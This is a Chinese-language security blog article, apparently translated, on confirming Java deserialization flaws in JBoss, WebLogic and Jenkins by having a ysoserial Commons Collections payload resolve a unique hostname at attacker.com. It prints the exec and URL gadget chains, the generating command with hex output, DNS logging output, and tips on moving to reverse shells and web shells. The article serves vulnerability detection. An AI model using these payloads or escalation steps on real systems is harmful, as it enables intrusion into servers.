借助DNS解析来检测Java反序列化漏洞(含工具视频演示)

xiaohui 技术 2017年4月6日发布
Favorite收藏

导语:安全问题中最重要的是什么,我们认为重要的就是确保数据来源的安全性和对敏感数据的保护。

1490783777581822.png

安全问题中最重要的是什么,我们认为重要的就是确保数据来源的安全性和对敏感数据的保护。

域名系统(DNS)是关联网址(如www.makeuseof.com)和IP地址(54.221.192.241)的系统。当你使用浏览器访问一个网站,它会向DNS服务器发送你输入的地址请求,然后DNS服务器会指出其正确的IP地址,这是互联网如何工作的一个关键部分。但是DNS中的信息经常会发生泄漏。

Java 对象序列化是 JDK 1.1 中引入的一组开创性特性之一,用于作为一种将 Java 对象的状态转换为字节数组,以便存储或传输,不过我们还可以将字节数组转换回 Java 对象原有的状态。这种特性给我们带来了方便,但是也给我们带来了危险。

如果我们传输的序列化数据中途被截获,截获方通过反序列化就可以获得里面的敏感数据,比如DNS的信息,甚至对里面的数据进行修改然后发送给接收方。

目前,Java反序列化漏洞已被大家所熟知。尽管如此,我们仍然会遇到这类型的漏洞,不过我们可以使用一些工具来识别出这些漏洞。大多数识别工具依赖于命令执行API。但是,由于操作系统的环境限制,有效载荷的命令有时也会失败。另外,使用的命令有时也会丢失,或者有效载荷的命令会由于所安装版本所需的参数不同而发生变化,例如GNU netcat vs OpenBSD netcat所需的参数。

由于执行命令的上述限制,检测这些漏洞就不可避免的需要做许多尝试。由于每个漏洞都不得不发送多个有效载荷,所以要实现Java 反序列化漏洞的检测是非常困难的。不过,我们可以自定义一个通用的有效载荷,将进行大规模检测。不过在介绍我们的这个检测方法之前,让我们先说明一下这个检测所针对的有效载荷的运行环境:

1.有效载荷完全不受操作系统的影响,如Windows,Ubuntu,Alpine Linux(Docker),Solaris,AIX等,
2.即使Web容器正在运行安全管理器或沙盒,也可进行检测,
3.支持最常见的JVM 1.6以上的版本,不过也可能是jvm1.5以上的版本,

YSoSerial(于java反序列化工具)生成的大多数载荷都符合这些条件:

1.png

检测思路的调整

例如,我们发现了一个老的由5.1.0 GA – EOL支持JBoss样本,并且还对外开放了JMXInvokerServlet接口。根据我们的经验,这个JBoss样本应该存在Java 反序列化漏洞。但我们利用所有已知的漏洞测试工具对这个JBoss样本进行测试,但没有发现漏洞。

测试失败存在两种可能性:一是这些工具在这个特定的环境中起不到检测效果,二是目标系统已经打了补丁。然而,我们利用一个简单的有效载荷进行了DNS查询,发现DNS已经泄露,这就证明我们的猜想是对的。所以现在,我们要通过对DNS泄露的检测来进行漏洞检测,不过要避免命令执行API。

创建一个检测DNS泄露的工具

为了确认创建的工具可用,我们将修改YSoSerial提供的一个现成工具。

接下来,我们将使用一个简单的代码来代替命令执行载荷,该代码将触发一个DNS解析。使用的最常见的一个有效载荷是Commons Collection。其中,“Transformer”链会触发下面的代码:

Transformer链(使用了命令执行载荷):

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
    new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
    new ConstantTransformer(1) };

触发的代码:

((Runtime) Runtime.class.getMethod("getRuntime", new Class[0]).invoke(new Class[]{ Object.class, Object.class},new Object[0])).exec("echo your command here");

不过不能使用nslookup命令触发DNS解析,因为我们是希望避免使用命令执行API的,所以只能直接使用Java API。唯一的特殊要求是代码序列必须使用telescopic API,换句话说,代码序列不能使用临时变量。

下面是修改过的Transformer链(使用了DNS解析载荷):

final Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(new URL("http://resolve-me-aaaa.attacker.com")),
    new InvokerTransformer("openConnection", new Class[] { }, new Object[] {}),
    new InvokerTransformer("getInputStream", new Class[] { }, new Object[] {}),
    new InvokerTransformer("read", new Class[] {}, new Object[] {}) };

Transformer链相当于以下的Java代码。它将尝试启动HTTP连接,但这里的关键问题是要触发DNS解析:

new URL("http://resolve-me-aaaa.attacker.com").openConnection().getInputStream().read();

确认检测目标中是否存在Java 反序列化漏洞

现在,我们就生成一个可以解析唯一主机名的工具。唯一的名称可以确保我们跟踪服务器,以监控是否进行了任何反序列化的操作。服务器可能会对Java 反序列化漏洞进行多次评估这个漏洞,或延迟评估。另外,使用唯一主机名可以避免检测时所产生的混乱,尤其是扫描多台主机时。在ysoserial中,已经有可用的完整POC代码:

$ java -jar ysoserial-0.0.5-SNAPSHOT-all.jar CommonsCollections1Dns http://resolve-me-aaaa.attacker.com | xxd
00000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
00000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
00000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
00000030: 696f 6e48 616e 646c 6572 55ca f50f 15cb ionHandlerU.....
00000040: 7ea5 0200 024c 000c 6d65 6d62 6572 5661 ~....L..memberVa
00000050: 6c75 6573 7400 0f4c 6a61 7661 2f75 7469 luest..Ljava/uti
00000060: 6c2f 4d61 703b 4c00 0474 7970 6574 0011 l/Map;L..typet..
00000070: 4c6a 6176 612f 6c61 6e67 2f43 6c61 7373 Ljava/lang/Class
00000080: 3b78 7073 7d00 0000 0100 0d6a 6176 612e ;xps}......java.
00000090: 7574 696c 2e4d 6170 7872 0017 6a61 7661 util.Mapxr..java
000000a0: 2e6c 616e 672e 7265 666c 6563 742e 5072 .lang.reflect.Pr
000000b0: 6f78 79e1 27da 20cc 1043 cb02 0001 4c00 oxy.'. ..C....L.
000000c0: 0168 7400 254c 6a61 7661 2f6c 616e 672f .ht.%Ljava/lang/
000000d0: 7265 666c 6563 742f 496e 766f 6361 7469 reflect/Invocati
000000e0: 6f6e 4861 6e64 6c65 723b 7870 7371 007e onHandler;xpsq.~
[...]

如果收到DNS查询,则证明存在Java 反序列化漏洞。记录DNS查询请求的工具很多,如 DNS chef,Burp Collaborator或tcpdump。在下面的检测中,我们使用DNS Chef来记录查询请求:

# python dnschef.py -q --fakeip 127.0.0.1 -i 0.0.0.0
[*] DNSChef started on interface: 0.0.0.0
[*] Using the following nameservers: 8.8.8.8
[*] Cooking all A replies to point to 127.0.0.1
[12:16:05] 74.125.X.X: cooking the response of type 'A' for resolve-me-aaaa.attacker.com to 127.0.0.1
[12:16:05] 192.221.X.X: cooking the response of type 'A' for resolve-me-aaaa.attacker.com to 127.0.0.1

1490783756727684.png

一旦确认有漏洞被检测到,为了得到一个SHELL命令,我们还需要继续做一些尝试来触发一些错误命令。下面,就是一些获取SHELL命令的方法: 

1.确保你已经测试了各种反向shell命令

2.“Common collection”载荷在某些特定的JVM中可能会失败(如IBM J9)

3.如果目标强制执行了一个安全管理器,你可能需要制作一个自定义的检测工具。你可以通过“DEADCODE’s blog article”去了解transformer链的大概情况。目前比较流行的做法是找到Web根目录的路径,并编写一个可以延迟执行的web shell。不过这个工具只有在目标环境中的安全管理器阻止命令执行时才会用到。

工具视频演示

以下是我们开发的Break Fast Serial工具的简短演示,视频演示了如何对单个Web服务器进行扫描,使得Java 反序列化漏洞通过DNS 泄露被最终确认。该工具还支持在扫描模式下,同时对多个IP和端口进行扫描。该扫描器将会对JBoss,Weblogic和Jenkins等易受攻击的版本进行检测。

总结

DNS渗透检测有三个好处:

1.它可以提升反序列化漏洞检测的效率,

2.它可以同时对多台主机进行自动扫描,

3.即使目标服务器处于最严密的防火墙环境中,它也会识别出Java 反序列化漏洞。

那么要怎么安全的使用序列化呢?

针对开头提到的两点,我们有如下思路:

1.避免传递敏感数据,在对象中,可以使用关键字修饰敏感数据的变量,这样它就不会写入到序列化流中。

2.对数据进行先签名后加密的策略。如果非要传递敏感数据,那就使用这个方法,别人也就无法解密以及伪造。

本文参考来源于gosecure.net,如若转载,请注明来源于嘶吼: http://www.4hou.com/technology/4054.html
点赞 5
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

    高坂穗乃果 2017-04-06 15:37

    这个挺厉害啊